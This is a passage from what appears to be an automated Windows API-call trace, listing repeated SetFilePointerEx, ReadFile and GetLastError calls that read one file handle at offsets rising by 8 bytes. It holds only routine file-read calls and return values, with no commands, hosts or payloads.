(in: hFile=0x1f4, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.895] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa16, lpOverlapped=0x0) returned 1 [0252.895] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.895] GetLastError () returned 0x0 [0252.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.896] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa0e, lpOverlapped=0x0) returned 1 [0252.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.896] GetLastError () returned 0x0 [0252.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.896] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa06, lpOverlapped=0x0) returned 1 [0252.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.896] GetLastError () returned 0x0 [0252.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.897] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9fe, lpOverlapped=0x0) returned 1 [0252.897] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.897] GetLastError () returned 0x0 [0252.897] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.897] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9f6, lpOverlapped=0x0) returned 1 [0252.897] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.897] GetLastError () returned 0x0 [0252.897] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.898] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9ee, lpOverlapped=0x0) returned 1 [0252.898] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.898] GetLastError () returned 0x0 [0252.898] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.898] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9e6, lpOverlapped=0x0) returned 1 [0252.898] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.898] GetLastError () returned 0x0 [0252.898] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.898] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9de, lpOverlapped=0x0) returned 1 [0252.899] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.899] GetLastError () returned 0x0 [0252.899] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.899] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9d6, lpOverlapped=0x0) returned 1 [0252.899] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.899] GetLastError () returned 0x0 [0252.899] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.899] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9ce, lpOverlapped=0x0) returned 1 [0252.899] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.900] GetLastError () returned 0x0 [0252.900] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.900] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9c6, lpOverlapped=0x0) returned 1 [0252.900] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.900] GetLastError () returned 0x0 [0252.900] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.900] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9be, lpOverlapped=0x0) returned 1 [0252.900] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.900] GetLastError () returned 0x0 [0252.901] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.901] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9b6, lpOverlapped=0x0) returned 1 [0252.901] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.901] GetLastError () returned 0x0 [0252.901] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.901] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9ae, lpOverlapped=0x0) returned 1 [0252.901] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.901] GetLastError () returned 0x0 [0252.903] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.903] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x9a6, lpOverlapped=0x0) returned 1 [0252.903] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.903] GetLastError () returned 0x0 [0252.903] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.903] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x99e, lpOverlapped=0x0) returned 1 [0252.903] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.903] GetLastError () returned 0x0 [0252.904] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.904] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x996, lpOverlapped=0x0) returned 1 [0252.904] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.904] GetLastError () returned 0x0 [0252.904] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.904] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x98e, lpOverlapped=0x0) returned 1 [0252.904] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.904] GetLastError () returned 0x0 [0252.904] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.905] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x986, lpOverlapped=0x0) returned 1 [0252.905] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.905] GetLastError () returned 0x0 [0252.905] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.905] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x97e, lpOverlapped=0x0) returned 1 [0252.905] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.905] GetLastError () returned 0x0 [0252.905] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.905] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x976, lpOverlapped=0x0) returned 1 [0252.906] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.906] GetLastError () returned 0x0 [0252.906] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.906] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x96e, lpOverlapped=0x0) returned 1 [0252.906] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.906] GetLastError () returned 0x0 [0252.906] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.906] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x966, lpOverlapped=0x0) returned 1 [0252.906] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.906] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.906] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x95e, lpOverlapped=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.907] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x956, lpOverlapped=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.907] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x94e, lpOverlapped=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.907] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x946, lpOverlapped=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.907] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x93e, lpOverlapped=0x0) returned 1 [0252.908] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.908] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.908] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x936, lpOverlapped=0x0) returned 1 [0252.908] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.908] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.908] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x92e, lpOverlapped=0x0) returned 1 [0252.908] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.908] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.908] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x926, lpOverlapped=0x0) returned 1 [0252.908] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.908] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.909] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x91e, lpOverlapped=0x0) returned 1 [0252.909] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.909] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.909] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x916, lpOverlapped=0x0) returned 1 [0252.909] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.909] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.909] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x90e, lpOverlapped=0x0) returned 1 [0252.909] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.909] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.909] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x906, lpOverlapped=0x0) returned 1 [0252.909] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.910] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.910] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8fe, lpOverlapped=0x0) returned 1 [0252.910] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.910] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.910] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8f6, lpOverlapped=0x0) returned 1 [0252.910] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.910] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.910] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8ee, lpOverlapped=0x0) returned 1 [0252.910] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.910] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.910] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8e6, lpOverlapped=0x0) returned 1 [0252.910] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.911] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8de, lpOverlapped=0x0) returned 1 [0252.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.911] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8d6, lpOverlapped=0x0) returned 1 [0252.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.911] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8ce, lpOverlapped=0x0) returned 1 [0252.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.911] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.911] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8c6, lpOverlapped=0x0) returned 1 [0252.912] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.912] SetFilePointerEx (in: hFile=0x1f4, 